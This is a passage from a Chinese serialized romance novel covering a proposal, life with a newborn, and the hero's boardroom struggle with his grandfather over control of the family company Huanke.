年轻又如何,家世复杂又如何,那不过是赋予他躯壳外的形容词,更重要的是,他已经是她的爱人,是她孩子的父亲,更是她亲手选择的伴侣。 他不过是在求一个既得的愿望。 甘歆用手里的那支太阳神玫瑰,换了他手中的红玫瑰花束,她没有哭,全程都满含笑意地看着她的爱人,“我愿意。” 齐灏并未起身,协助她将玫瑰花束放置在沙发椅上,向甘歆伸手。 这个动作甘歆并不陌生,还有些眼熟,她还记得慈善晚宴那次的解围,齐灏也是像这样对她伸出手,她竟然有个一闪而过的念头,他好像很早很早之前,就想娶她了。 甘歆将手放到了齐灏的手心里,任他落下一个吻,接着他从口袋里拿出了一个黑丝绒的盒子,取出钻戒,戴进了她的左手中指上。 他终于直起身,掌心覆上了她的脸,吻了他的准新娘。 甘歆在此刻终于落下泪来,太过欢喜的泪水,都是甜的,齐灏用唇将这些水珠抿掉了,看向她时温柔缱绻。 他说:“谢谢你,出现在我生命里,像太阳神一样亮丽炽热,照亮晦暗单调的我。” 他说:“谢谢你,愿意成为我的妻子、成为我毕生的爱人,给我往后人生所有的希望。” 他说:“谢谢你,愿意成为母亲,也让我有机会成为父亲,得以让我看到生命的延续。” 他说:“最后,还是要谢谢你,谢谢你是你,我会永远在你身后,爱着你、护着你,让你的人生尽兴开怀。” 甘歆抹了抹泪水,拥抱住了他,“也谢谢你,齐灏。” 他们再一次拥吻,又各自拭去了对方的泪水。 齐灏起身,又走到钢琴那,取了一个深绿色的丝绒礼盒来,打开后,竟然是曾经在慈善晚宴上被拍卖那顶红宝石白金皇冠,他递到了甘歆的面前。 “这是我妈妈的藏品,她是个珠宝设计师,小时候她跟我说,以后如果我遇见了喜欢的女孩子,就把这个送给她,这件藏品在国外辗转了很久,幸运的是我找到了,现在替妈妈送给你,请一定收下。” 他说得十分庄重,表情里又多了一份哀伤,齐灏一定很爱他的母亲,相处的年岁不多,但与生俱来的牵连,让他本能地反复回忆母亲曾经说过的话,并坚定地执行着她的念想。 甘歆双手接下,她轻声说:“谢谢妈妈。” 谢谢你带齐灏来到这个世界,妈妈,我会照顾好他。 第80章 第80章她看山间景,他看心上人。…… 他们两个在玻璃房里说了很久的话,直到觉得花香有些呛人才离开。 齐灏和甘歆说,他现在就特别想带她去民政局先把证扯了,但这么做对她不公平,寰科还有很多将交未交之事,他的爷爷还需要去被说服,在所有人都接受后,他再考虑领证的事。 毕竟未婚生育,要是被绑定了,她就会成为劣势的那一方。 甘歆不怕,她无所谓,是齐灏不舍得。 他也对甘歆做出了保证,如果事情真的不可收拾,他会完完全全退出寰科,自己另行创业,会依靠自己的双手,重新打一片天下献给她。 甘歆笑骂他昏庸,心里却酸酸的,她无意让齐灏放弃一切,可他似乎已经考虑得很清楚了。 他们两个还商量了临江公寓退租的事,空间不够大,带个孩子确实不方便,齐灏让她搬去和他一起住,这是他第一次邀请甘歆去他家,她有些意外,揶揄齐灏怎么突然肯了。 他说:“你都知道那面墙的事了,我就不藏了。” 反复盘问之下,她才明白齐灏的顾虑。 少年时期的心动,他误以为只是本能想靠近,幡然醒悟后在别人的询问下坦诚了自己的喜欢,于是被捉弄、被嘲笑,十几岁的他哪儿知道爱情是没有边界的,过分压抑后便是极度的反弹,他的喜欢里掺杂了欲念、占有、贪婪,他成了邪恶的黑色火焰,在喷薄而出的那一刻终于想通,如果甘歆一定会谈恋爱,怎么就不可以是他? 他收集的偏好起了作用,终于得以化为一个个卑劣的手段,将她画地为牢。 出月子的头一天过得太丰富了,晚上阳阳睡着了被月嫂抱出了房后,甘歆还有些兴奋,她在被子里蛄蛹着不睡觉,最后还是齐灏把她箍在了自己怀里,连带着腿一起夹着才安分。 他们的吻依旧潮热,齐灏在听见嘤咛之后收住了嘴,只用力将甘歆抱在怀里,“老婆,把持住。” 甘歆笑得直仰,拧了拧齐灏的耳朵,“你怎么好意思说我。” “伤口还没好,医生说要三个月,我们保守点,四个月。” 齐灏说得认真,要不是感受到小腹传来的那点烫,她几乎都要信了他的风雨不动了,甘歆使坏,故意凑上去咬齐灏的耳朵,“老公……想要……” 这谁受得了?! 他先用手捂住了眼睛,又佯装大力地捏着她的脸颊,将唇捏得嘟出来后又啃又吮了一通,就赶紧跳下了床去浴室,关上门后又打开,对着甘歆恶狠狠地道:“算你厉害!” 甘歆就这么仰在床上笑,她看着天花板边边角角上的雕花,觉得这一切不可思议,她竟然在齐灏的房间里,完成了整个孕期,还坐完了月子。 但到底还是敌不过睡意,她闻着床边齐灏特有的木香,渐渐坠入了梦里。 浇完凉水的男人从浴室里出来,见她的沉睡模样,将手和身上都捂热了,才慢慢钻进被子里,将她拥进怀里,齐灏偷偷吻她的头顶心,悄声说:“宝贝,我好爱你。” 次日清早,齐灏很早就起了,北泽到底地处偏僻,略有不便,他得和长辈们商量下回去的时间,还有就是……答应完成爷爷条件的时限不多了。 他特意等大家用完了餐后才说,齐罪本来想回避,他也让留下了。 齐灏从沙发上拿出了早就准备好的牛皮纸密封袋,里面有五张卡,还有一叠混着证件的文件,他将这些全数交给了甘歆的父母。 “爸、妈,”他说得稳当,一点也不犯怵,“这里的五张储蓄卡,有两张是我妈留给我的,一张是我爸给我的,还有两张是我自己的储蓄,另外是我名下的房产和车,这里是我目前所有的财产,我卡里的钱和寰科没有关系,都是我自己挣的,请您们收好。” 没等甘歆和父母说话,齐灏看了一眼甘歆,眼神再次回到她父母这, “我没有直接交给她,是因为她不会要,但这是给您们的保障,无论发生什么事。” 他最后一句话出来,甘歆有些慌了,“怎么了吗?” “没事,”齐灏安抚性地看了看她,又握住了甘歆的手,“就是客观描述一下,这是我的责任,也是担当,让爸妈替你保管着更合适些,等着你一心软,就又塞给我了。” 其实自从甘歆和父母搬到北泽这来待产后,已经对齐灏有所改观,他们先前对年轻人、有钱人的刻板印象逐渐消融,只是偶尔还会被齐罪的大手大脚惊到而已,对于齐灏的好已经具象化,他们自认,不管是亲戚朋友里,还是邻居坊间,都很难找到这样体贴又细心的女婿,他是真的把甘歆捧在手心里的男人。 妈妈还有些犹豫,甘歆爸爸却自然地将文件袋接了过来,“小齐,你的诚意我们收到了,你的确很优秀,也很难得,但我们歆歆也不差,也并不是非你不可,就算阳阳最后只有妈妈,我们也绝对会在我们能力范围内给她最好的。我收下不是图你的钱,更不是图你能给我们家什么保障,而是因为歆歆看好你了,我们为了让你安心才收下的,希望你能明白。” 爸爸的这段话能够听出来对齐灏还是有些怨气的,未婚先孕、孕期缺席,连生孩子都差点赶不上,哪个都是老父亲心里的雷点,但他又对齐灏有所包容,也明白他的处境和难处。 齐灏对着她爸深深低头致谢,“谢谢爸。” 齐罪有些看不得这些场景,他偏过头去眼眶都红了,他的儿子,在父母陪伴缺失的情况下,一路被他爷爷拔苗助长,竟然真的长成了一棵能遮荫能避雨的参天大树。 甘歆注意到了他的情绪,但说实在的,让她叫爸确实有些为难了,斟酌了好久,才憋出来一句:“老大哥……你别伤心了。” 全桌人都有点绷不住了,尤其齐罪,不知是哭还是笑,整张脸带着脖子通红,眼泪都飚了几滴出来,最后还是顺着齐灏的手喝了杯水才恢复平静。 “你就……就这么叫,咱俩单算,算兄弟。”齐罪举着杯子过来的,一副不靠谱的痞样,被齐灏一眼瞪回去了。 最终商定了下周返程,齐灏要回一趟广粤,派齐罪押车,将甘歆他们一家送回去,在齐灏没有回来前,他不能离开。 其实甘歆觉得不太好,齐罪漂泊的性格,老绑着他该闷坏了,齐灏就直接抬下巴问他爸闷不闷,齐罪能说什么,头都摇得跟个拨浪鼓似的,最后只能逗着还只会抿嘴的阳阳玩。 天气又暖了一些,饭后甘歆挽着齐灏在花园里散步,说是花园,实际是半山腰特意垦出来的,往边上走一走,就能看到藏在沟壑深处和远山间隙里的云。 春风拂面,确实让人心旷神怡。 甘歆双手撑着栏杆,齐灏背靠着站在她旁边,她看山间景,他看心上人。 她已经学会了有话直说,不会再刻意表现大度,“这次去多久?” “一个月,一个月后我会回来。” “老爷子给你多久?” 齐灏愣了愣随即笑了,他的心上人总是那么聪颖,“他从来只会给我一年。” “好快啊……齐灏,我们在一起已经三年了。”甘歆回过头,发丝被封吹得扬到了脸上,齐灏轻轻为她拨到耳后,又将她衣领的拉链向上拉了拉。 “快吗,我觉得每一年都很慢,”齐灏看过来的眼神不一样了,他不再像甘歆见他第一年时眼神清澈纯真,也不似第二年时自信张扬,变得成熟、变得可靠稳重,“这三年每年都不能完整地呆在你身边,委屈你了。” 甘歆朝他伸手,他就将她拥在了怀中,“我的人生三十多年,加起来都没这三年精彩。” 齐灏笑了笑,吻了吻她的发,没回答。 “还差多少?” 她无意提问,齐灏却了然,“3%,不多了,很快。” “来得及吗,一个月。” 齐灏鼓了鼓嘴,抬了抬眉毛,实话实说,“不知道。” 她的脸颊在他胸口蹭了蹭,“我明年年初就去上班了,奶粉钱我也会赚的。” 齐灏低头笑着看甘歆,亲昵地捏了捏她的鼻尖,“要不要顺便包养一个小狗啊?” “会乱尿吗?” “现在不会了,被人调教过了。” “嗯……那可以考虑养一个,”甘歆搂紧了齐灏的腰,“你别太逞强,顶多以后齐家在寰科的日子稍微不好过一点,但也都是小折腾,慢慢会收回来的。” 齐灏应声,“齐家一直等得起,但我等不起了,如果没有彻底的自主权,我也只是一个帮我爷爷看公司的职业经理人罢了,他完全可以找别人。” 其实甘歆想问问他为什么非得证明给他爷爷看,齐灏看起来绝不像舍不得寰科的人,但却不知道从何问起。 “爷爷老了,有些观念得变,”齐灏将甘歆拥紧了,为她挡住了山上吹来的风,“我不能让你和阳阳,过我妈和我的那种日子,挺难受的。” 有些话甘歆没办法问透,她知道齐灏也不会说透,他母亲的经历,他年幼时候的伤,从溢出无数痛苦的创面,慢慢结痂,他或许会在不少夜深人静的时候,因为难以忍受愈合时期的痒,反复质疑、反复撕开,旧疤里漫出新的血,他再在每一个新岁时获得与先前不同的感触。 甘歆想,他的母亲一定是个温柔坚定的人,她将优异的品质通过血液传递给了齐灏,才得以让他在迷惑世人的、巨大的名利场中,始终保持冷静、保持清醒。也庆幸,齐罪的豁达和不争,给他展示了生活的另一个选项。 她将脸埋在了齐灏的胸口,感受他蓬勃有力的心跳,也抱紧了他,只不过她的手被齐灏放进了外套里,贴着他里面的衬衣抱着,甘歆能感受到他外套上的风力,却触不到半点凉。 “……齐灏,我和阳阳,不是非得什么都有,你别太辛苦。” 他又吻了她的额头,“我已经亏欠你们太多。” 80-90 第81章 第81章甘歆知道,他这23年来,年…… 再次回到熟悉的城市,又是熟悉的天气,甘歆没有直接去齐灏住的地方,而是回到了临江公寓,她想和齐灏一起搬进去。 父母临时住了过来,就留了一个住家阿姨,齐罪也在临江小区里租了个房子。 对于被当成儿媳妇保安这件事,齐罪还挺享受的,每次都是甘歆不好意思,他别提多高兴了,天天上她家来打卡,性格外向的他一来二去都和邻里处成了朋友,出手也大方,买东西也左右送一点,大家都夸他是个好公公,给他乐得都不行了。 这几天甘歆父母要回家一趟,出门陪着的事就落到了齐罪身上,她本来是想私下和他说想上哪上哪,不用老围着转的,齐罪不干,嘴里说的是怕儿子怪罪,但甘歆看得出来,他很喜欢阳阳。 知道他大手大脚惯了,甘歆特意和他约法三章,去超市她挑她买,如果做不到就让他回去。齐罪对着甘歆更犯怵,嘴里嘀咕了一句不小心被她听见了,他说太凶了,怪不得齐灏被她收拾得这么服帖,甘歆当场就笑了,让老大哥以后这种话多说,她爱听。 天气已经渐渐热起来了,进电梯时甘歆俯下身看推车里躺着的阳阳,摸摸额头又摸摸咯吱窝,还好没怎么出汗,刚抬起头就听见齐罪和人打起了招呼,甘歆也顺便抬头看了一眼。 “哎呦,这不是歆歆嘛!” 甘歆睁了睁眼睛,有些疑惑,看向正在说话的中年人,“不好意思,您是……?” “我是你奶奶的邻居,201的赵老师,想起来了吗?”他笑得眼睛都眯起来了,和记忆中的赵老师的面容渐渐的重叠。 “赵老师?!”甘歆惊讶地喊了出来,“你也住这里啊?” “是啊,17楼,十年前就搬来这嘞,好巧啊!”他看向婴儿车里的宝宝,又看了看齐罪,眼里都是恭喜,“歆歆孩子都生好啦,真快啊。” 他怕是误会了个大的,甘歆赶在齐罪面前说:“刚刚四个月,阿灏上班去了不在家,这个是宝宝的爷爷。” “是你和阿灏的孩子?!”赵老师差点下巴掉下来,哎呦哎呦个不停,“他可真行啊,终于追到你了啊,那时候老让我们偷拍你,哎你也知道他家里的情况 ,我们也是硬着头皮拍,就当逗小孩子玩了。” 甘歆不好意思地笑笑,“给你们添麻烦了。” “不麻烦不麻烦的,阿灏也帮了我们很多,”赵老师眯着眼睛,“之前还来帮我孙子补过课呢。” 原来做家教的事情是真的,甘歆心里有些触动,又起了另一个疑问,没等她开口,赵老师就接着往下说了起来。 “他还说我老婆做饭好吃,天天惦记,问能不能天天给做一份午饭,我们多一口少一口的事,说了不要他钱,每个月就偷偷给我们家买很多东西,哎,他年纪小,但是心思深啊。” 怪不得她觉得之前带的午饭总觉得熟悉,好像是从记忆深处的味道,之前去奶奶家,她就念叨过201阿姨做的饭好吃,没想到齐灏记下了。 怎么和赵老师道别的甘歆有些不记得了,齐罪再看赵老师时的表情也变了。 他们两个回到屋里后各有各的心事。 赵老师……锦云路的锅贴……悦来餐厅……齐灏记得她所有的口味,甘歆无从考证,锅贴铺子和在开在商场的餐厅里,有没有他花的功夫。 他比她看到的、感受到的,还要爱她。 甘歆走到床边,看着熟睡的宝宝,和齐灏相似的眉眼,亲了亲她的额头,她好希望、好希望齐灏快点回来。 走出房门,看到齐罪坐在餐桌边也沉默着。 甘歆给他倒了杯水,坐到了他的对面,几番欲开口,都没发出声。 “没事儿,我就是……突然看到那几年陪着阿灏的人,心里有点难受,”齐罪喝了口水,勉强对着甘歆扯出来个笑,“我儿子比我强。” 他说要走,甘歆也不好留,一直送到门口。 齐罪的整个表情都是落寞的,看向甘歆时眼神不对焦,似乎在看过去的某个人,临关门,他兄弟似的拍了拍甘歆的肩膀,“儿媳妇,你比我老婆走运。” 甘歆张了张口,不知道说什么,齐罪挥了挥手就走了。 她在门口站了许久,直到住家阿姨过来提醒说串风的,别感冒了,才回到屋子里。 走进书房,甘歆将齐灏之前准备的相册拿出来,里面不过寥寥六七张照片,可每一章,她都笑得很幸福,她也终于知道为什么齐灏要坚持自己来拍,原来看照片的时候……就能体会到当时拍照的心绪。 好想齐灏啊。 想他身上的木香,想他长长的睫毛,想他深邃的眉眼,想他的每一个表情,想他在面对旁人时的仰之弥高的样子,也想他在自己面前乖如小狗。 回来后,甘歆开始关注寰科的股价,还特意做了追踪表,看着零点几的浮动,她心里着急,更为齐灏担心,她甚至想对齐灏说,回来吧,没什么大不了的。 齐灏今年满23岁,外人看他天之骄子、风光霁月,世间万物都唾手可得。 可甘歆知道,他这23年来,年年都辛苦。 她是真舍不得了。 她给齐灏发了个信息,说她发现了他的另一个秘密,齐灏又秒回了,坦坦荡荡地说发现了就发现了,回头再找他算账,接着只让她照顾好自己,他再忙一阵就回来。 甘歆窝进了书房的懒人沙发里,将他的轮廓在心里描绘了一遍又一遍。 几天后沈确联系她,问回没回来,方不方便来看看外甥女,她如实相告回来了,也欢迎他随时来,正好他来,能细问问寰科的情况,她总觉得这件事齐灏说得太轻巧,她不放心。 让甘歆意外的是,不是沈确一个人来的,还跟着个任婷。 他大大方方地进门,来回地说着甘歆这地方不错啊,甘歆没忍住笑,直接揶揄上了,“你也太做作了,不用把第一次来表现得这么明显。” 被说中心事的沈确脸色微微变了变,“这是男德,你不懂。” 住家阿姨早就准备好了拖鞋,甘歆将他们俩引到了客厅沙发上,沈确将带来的东西拿给她,甘歆笑笑,“这么客气啊沈总,发工资就行了的。” 沈确没理她,对着任婷说:“你不还特意准备了东西吗,拿出来啊。” 任大小姐的脸上一阵白一阵红,从包里拿了个小盒子出来,放到茶几上,说的话是她一贯的风格,就是连眼睛都不敢和她对视,“我、我听说生孩子要送金子,喏,给你女儿和……和你买的,她是花生仁儿,你是花生壳……总之就是希望你们好事发生!” 甘歆没敢接,有意也逗逗她,看了看沈确后故意把笑容敛了,“你以什么身份啊,就送我东西,来路不明的我可不敢收。” “哪!”任婷唰地一下抬头盯着甘歆看,“哪有来路不明,我特意定的,你怎么不识好歹呢!” “我有不识好歹吗?”甘歆摆出一副作壁上观的样子,“你也不说跟我是什么关系啊。” “前……前同事!”任婷气得把盒子往沈确手里一放,“你跟她说。” 沈确笑得不行了,推了推眼镜框,拿着盒子放到甘歆面前,“收下吧啊太子妃,别逗小孩儿了,她想跟你交朋友呢。” 甘歆笑了出来,拿过盒子打开看了看,真像任婷说的那样,做工都很精巧,“谢谢啦,我就是没想到要从你嘴里说出朋友两个字来这么难,你男朋友还没把你调教好么?” 任婷下意识地去看沈确,又觉得自己露馅了,气得拿脚踢了两下他,“你们两个老狐狸,就知道逗我玩,不理你们了,我去看宝宝!” 见着任婷这副又娇又凶的样子,甘歆对着沈确抬了抬眼睛,“恭喜啊,老板,得偿所愿。” 沈确笑着摇了摇头,“闹死了一天天的,小姑娘家家的事儿特别多。” “我看你挺享受的么,巴不得她天天在你耳边叽叽喳喳。” “嗯……”沈确没否认,“挺热闹的。” 两人互相对视一眼,就又笑了,沈确感叹:“没想到就一年,你都有孩子了,齐灏还是太超前了。” 甘歆笑了笑不解释,“他当爸还挺靠谱,比我想得还要靠谱。” “那就行啊,那就行,”沈确看着房间的方向,脸上有着淡淡的笑意,“好像这样的日子也挺好的。” 甘歆抿嘴点了点头,也跟着视线一起追过去,“嗯……是不错。” 她表情里的一丝担忧还是没有逃掉沈确的眼睛,两人再对视,甘歆就显得有些紧张了,他张了数次口,都不知道该怎么说,最后还是甘歆开的口。 “你别这样,你越这样我越担心,”甘歆深吸了一口气,神色全然认真了起来,“你就直接说吧,他现在什么情况。” 沈确喝了大半杯水,也跟着深吸了一口气,“其实寰科公司层面上的事情,据我所知,已经解决得差不多了,齐灏软的硬的一起来,基本都给收拾了。” “……你别光挑好的说,现在什么困难?为什么寰科的股价一直上不去?” 沈确叹了好大一口气,“神仙打架,齐老爷子亲自下场和亲孙子掐起来了,不仅寰科内部,晟宇、洲海,还有其他和齐灏关系比较近一点的企业都不太好过。” “为什么?”甘歆不明白,“他明明有能力可以让寰科更好,为什么还是不肯放手呢?” 沈确摇了摇 头,“不知道,新旧交替,难免的吧,没有人愿意承认自己老了。” “如果……我是说如果,齐灏败了,会怎么样?” “不好说,”沈确下定决心似的看了甘歆一眼,“国内肯定是待不下去了。” 甘歆慢慢靠上了沙发背,又往屋子里看了看,去国外……女儿还这么小,带出去不现实,而且还有爸妈,她的事业,都在这里。 阳阳应该是醒了,她听到了任婷在逗她的声音。 过了一会儿,任婷从屋子里走出来,像一朵昂首怒放的山茶花,一点儿不客气地坐了下来,又喝了半杯水,把杯子往茶几上重重一放。 她勾了个笑,甩了沈确一胳膊,看向甘歆时眼睛里都是光,“你甭搭理他,他年纪大,胆子就小了。” “嘿我说你,几个意思啊,这就嫌弃了?” 任婷瞥了他一眼,接着对着甘歆说:“你家齐灏可不是什么善男信女,大家叫他太子爷,不是因为有个太上皇,而是因为他注定是当皇帝的料。” 甘歆歪了歪脑袋,对于齐灏在外的风评,她的确没太听说也没太在意过。 “你以为外面传的都是假的啊?放心吧,没他干不成的事儿,只看他想不想。” “你怎么这么肯定?”甘歆确实是真诚发问。 任婷的眼神也变了,带着些无奈也带着些敬佩,“晟宇……应该是排名前三十里,唯一没被齐灏敲打过的公司了。” 甘歆惊讶地睁了睁眼睛,看向了沈确。 只见沈确摸了摸鼻子,承认道:“确实,很难说是不是因为你,所以他才心慈手软了。” 第82章 第82章“我们去找阿灏,爸给你做主…… 离一个月的期限越来越近,齐灏联系自己的时间少了,甘歆也愈发心神不宁,连抱孩子都有些不耐烦。 阳阳已经算是乖巧,但也有止不住哭的时候,就好比现在,奶粉也喝了、尿布也换了,依旧在哇哇大哭,甘歆抱在怀里,外婆和外公轮流哄着都不管用,撕心裂肺的,好像要将房顶掀翻。 住家阿姨无心的一句“是不是想爸爸了”,把家里的气氛降到了冰点。 “妈,我带阳阳进卧室呆一会儿。” 甘歆妈还想多说两句,被爸爸拦住了,对着老伴疯狂使眼色,又是拉又是拽的,按在了沙发里。 关门前,她还听见她爸念叨了句她妈,“你怎么比过年的猪还难摁。” 甘歆嘴角勾了勾笑了下,将门反锁上了,抱着仍在哭泣的阳阳在屋子里来回踱步着哄。 “阳阳乖,妈妈在,不哭了哦,不哭了。” 她将阳阳带到全身镜前,“你看,里面还有一个妈妈和一个宝宝,是谁呀。” 今天的女儿实在太不给面子,无论怎么哄,依旧哭得停不下来,甘歆索性把孩子往床上一放,自己也盘腿往床上一坐,轻轻捏了捏她的脸,“你这个小讨债鬼。” 小宝贝在床上边哭边爬,接着小手手就捏上了甘歆的脚趾头,还想往嘴里放,甘歆速速想抽回来,却被一个力道拽住了,她握上了齐灏送给自己的脚腕链。 一条细细闪闪的链子,带着一颗很小的钻,这么细、这么轻,平日里不注意的话,根本看不到它的存在,只有被阳阳这么拽着,甘歆才发现,这条链子的韧性有多强。 她将女儿的手指头缓缓掰开,又将她抱在怀里,“阳阳是不是想爸爸了?” 贴着婴儿脸颊肌肤的感觉很奇怪,并不是细腻的触感,更多是干燥舒爽,女儿突然就不哭了,瞪着个大眼睛看向甘歆,嘴里“呜呜”地叫了两声。 虽然什么倾向都没表明出来,但甘歆知道她的回答。 她亲了亲女儿的额角,也向她诉说着对齐灏的思念,“妈妈也很想爸爸,我们一起等爸爸回来好不好?” 小手掌抓向了甘歆耳边的头发,又抚上了脸颊,毫无顾忌地在她的脸上游移,最后两只手一起抱住了甘歆的脖颈,几乎将整个人吊起来一样。 见女儿搞怪,甘歆的心情才轻松了些。 今年的春末夏初一直在下雨,天空上好像攒了无法吹散的云。 下午开盘,甘歆泡了杯洋甘菊普洱进了书房,在椅子上盘腿,屏幕最大化了,只监测了寰科这一支股票。 这些天确实一直在增长,距离3%越来越近了,这对别人来说,可能是财富,但对甘歆而言,这是自己丈夫的归期。 她无法想象,也无意去猜测,这些微小幅度的增长背后,是齐灏的多少倍的努力。 若是换作以前,甘歆绝对不会相信,拼尽全力这四个字,会发生在一个天才身上。 有什么事,值得天才去“拼”呢。 电脑屏幕因为长时间的不接触,暗了下来,在反光里,她看到了自己,要不说齐灏这人被上天眷顾,连巧合都在帮他回答问题。 甘歆触碰了鼠标,屏幕又亮起来。 奇迹发生了!! 寰科的股价向上涨起来了,对比过去的价格浮动,这样的涨势是一年里未曾有过的,甘歆激动地将马克杯放到了桌上,她抱着腿坐着,目不转睛地盯着往上攀爬的数字。 在终于跳到一个值时,甘歆的眼睛里生理性地冒出了泪水。 但寰科的攀爬没有停,依旧在继续,甚至比刚刚的涨势更猛,甘歆忍不住扭头去看屋子里的挂钟,距离收盘还有35分钟,她好像在屏幕中的黑底红字上看见了齐灏的脸。 她好像看见齐灏现在也坐在了电脑前,他的领带一定松掉了,扣子也至少解开了一颗,她好像穿越屏幕,看见了、听见了、感受到了齐灏平静表面下波澜壮阔的呼喊,她好像在每一分钱的涨幅里,看见了密密麻麻、布满了整个屏幕的渴求。 他要回家。 离收盘的时间越来越近,寰科依旧在涨,还差一点点,如果触达了涨停线,那齐灏就相当于提前拿到了回家的票。 甘歆坚信,她的男人一定打的是这个主意。 只有涨停,才没有驳回的可能,只有涨停,才能彻底让老爷子信服,只有涨停!他才能掷地有声地向全世界证明,他齐灏,有能力坐稳这个位置。 她恨不得将指针往前拨两格,还剩十分钟,煎熬得她都说不出话。 嘴唇被很用力地咬着,几乎都尝到了血腥气,可她一点都不想动,她要见证这一刻。 还剩六分钟,她的鸡皮疙瘩都起来了,她几乎想尖叫,就快了。 五分钟。 寰科跌了。 不要紧,还有时间,还有余地,依旧比3%高。 又跌了。 甘歆焦急地去看时间,还有四分钟收盘,短短240秒,怎么能如此漫长。 一个大幅度下跌,直接砸到了开盘指数……甘歆脱力了,她的手脚顺着椅子自然下垂着,刚刚的兴奋荡然无存,整个人都跟被抽了氧气似的。 寰科以绿色的指数收盘,谁都没想到,在最后五分钟,跌掉了所有的涨幅,还赔了。 天空中攒动的云更厚了,又响起了雷声,积压太久的春潮水汽终于倾盆落下。 甘歆去拿手机的手还有些颤抖,打开了齐灏的对话框却不知道该说什么,这个程度的跌幅,在短期内翻身,几乎是天方夜谭,看来老爷子是故意等到最后一刻才出手的。 她自嘲地笑了笑,怎么网络到了最后五分钟这么好使,这么多人抛都没卡呢。 她不知道要怎么安慰齐灏,他们光明正大的未来似乎也离得越来越远,她甚至无法说服自己,别去多想,别去难过。 说服不了自己的事情,怎么去说服别人。 手机响了,是齐灏发来的消息,没有安慰、没有说明,只有简简单单的两个字,“等我。” 这个傻子,都给他生孩子了,怎么还一副担心被抛弃的样子。 “当然。”甘歆回得也轻松,他们谁都没有把负面情绪展露在对方身上。 她抹掉了泪痕,深呼吸了两下,刚起身,就听见了“哐哐”的敲门声。 住家阿姨去开了门,惊呼道:“齐老板。” 齐罪走进来,问:“我儿媳妇呢?” “在书房。” 他大步走到书房门口,看见甘歆眼睛和鼻头红红的样子,怒火中烧,抄起手机就打了个电话,咬牙切齿地说:“我们四十分钟后到,你可以先把油热起来了。” 齐罪走到甘歆面前,伸手拍了拍她的胳膊,“去把脸洗一洗,带几件换洗的衣服,跟爸出一趟门。” 这是齐罪第一次在甘歆面前称自己为爸,平日都是开玩笑叫她小兄弟 ,但今天的他不同,好像终于正视起了自己的身份,对着她自然而然就说出了这个字。 没等甘歆回答,他又说:“阳阳交给你爸妈照顾几天,你跟我走。” 甘歆的嘴角瘪了又瘪,强忍住了泪意,她哽咽着说:“去哪儿?” “去老宅,找老头子算账,”见甘歆还不动,齐罪声儿都大了,“想不想见你男人?!” “……想。” “走,去理东西,车在楼下,航线我已经安排好了,我们一个小时后起飞,”齐罪伸手跟摸小孩子一样,轻轻拍了拍甘歆的脑袋,“我们去找阿灏,爸给你做主。” 甘歆只带了一两件换洗的衣服,连箱子都没拿,只拿了个稍大点了的手提袋,和爸妈打过了招呼,又猛亲了阳阳一口,就匆匆跟齐罪下了楼。 她这时候才发现,这辆库里南的车主,是齐罪。 他自己开车,没有司机,全程抿着嘴没有说话,整张脸都沉了下来,他在到达航站楼之前的匝道口下了高架,一路轻车熟路,连导航都没有开。 到达了个空旷的地方,他的车没停,闸门就开了,齐罪长驱直入,直接进了空港,他在航站楼边上停了车,带着甘歆换上了一辆机场的工作车辆。 在她还没缓过神来到底要干嘛的时候,停在了一架私人飞机前。 齐罪对着甘歆解释道:“太着急了,买不到合适的机票,今儿你就当我纨绔一回。” 她抿了抿嘴,“谢谢爸。” “快上飞机吧,十分钟之内出发,约好的航线没法变。” 登机的楼梯还是有些抖,齐罪让甘歆走在前面,自己在后头护着,他感觉这一幕好像有些熟悉,回头看空港上的云彩,他都有些恍惚,怎么和岑念一别,就是十年。 他还记得,二十五年前,第一次与岑念相遇,在一个珠宝展,她当时还是个名不见经传的小设计,他却已经是人人皆知的风流公子。 他为她的设计停留,山、水、云,简洁的东方元素,构成了她一件件成品,他为她一掷千金,让她在展会中崭露头角。 毫无意外,他们相爱了,流连花丛的贵公子洗去了一身的坏习惯,善良又心软的清冷美人为了他下凡。他为她拍下了世间顶尖、无法用金钱衡量的红宝石皇冠,向她许诺一生。 他们当然被世家所排斥,被长辈拆散。 他记得……当时他以白发人送黑发人为要挟,逼自己的父亲认可了她,婚后第一年就诞下了可爱的儿子,可在那个宅子里,她连自己独用的房间都没有,所有人都拿她当空气。 起先她还能用两个人的爱情,和儿子的可爱来说服自己,日子久了,她就像一只囚鸟,她变得郁郁寡欢、歇斯底里,她也以自己为筹码,看着是要挟,却声声都是哀求,求他放她走。 他们离婚了,他哭了,哭自己的无能,她却笑了,笑即将而来的自由。 她用了三年重启了自己的品牌,并举办了第一个海外个展。 可惜的是,她同时查出了患有罕见病,于两年后过世。 齐罪靠着舷窗的眼尾掉下了一滴泪,他无数次后悔,岑念应是展翅高飞的雁,自己怎么能亲手将她关进牢笼里,成了被豢养的金丝雀。 如今,他们的儿子,好像也走上了他们曾经的路。 他无法原谅,也无法妥协。 齐罪自认,这辈子没什么成就,上比比不过老爷子,下比比不过臭小子,但幸好,他还有一颗心,一颗饱尝过甜苦的悲悯心。 他要带着爱人的愿望,为他们争一个未来。 私人飞机航行时间比民航更短,两个小时不到,就到了广粤的地界,下了飞机直接由保姆车接走,每一步甘歆都很意外,齐罪似乎早就交代过一样,环环相扣,步步紧凑。 直至老宅门口,车轮在雨后的水泥地上压出了浅浅的水痕。 齐罪先下车,又将甘歆扶了下来。 周波迅速出来迎接,站在门口,低头恭敬地喊了一声:“灏总。” 齐罪看都没看他,径直越了过去。 甘歆疑惑地看了看齐罪,“灏总?!” “进去再说。” 第83章 第83章“在做爹这方面,我比你强。…… 跟着齐罪路过前厅、上楼,终于在三楼的一扇双开的木门前停下,甘歆看见他停顿了几秒,刚以为要敲门,却是直接拧开把手进去的。 屋子里一老一少同时回头,齐老爷子坐在书桌后,齐灏就坐在他面前。 见到甘歆,齐灏立刻站起走了过来,毫不避讳地握住了她的手,在她脸上身上来回看,他没有问你怎么来了,答案显而易见,她想见他,而是关切地问:“累不累,都好吗?” 从初见齐灏到现在,甘歆始终难敌他的温柔,也捏紧了他的拇指,“都好,你好吗?” 他笑了,笑得毫无预兆,笑得那么幸福,“好,见到你就更好了。” 齐灏伸手抚了抚她的脸颊,“去我房间休息会儿?” 甘歆摇了摇头,看向齐灏的目光都是关切,“我就是来……问问你什么时候回家。” “这点小事值得你单独跑一趟啊,打个电话不就好了,”他看向甘歆的眼神宠得认真,“在做交接呢,就这几天的事,我答应了你一个月的。” “什么……交接……?” 齐灏揉了揉甘歆的发,没有回答。 齐罪看不下去了,往老爷子面前一坐,“你想干什么?!” 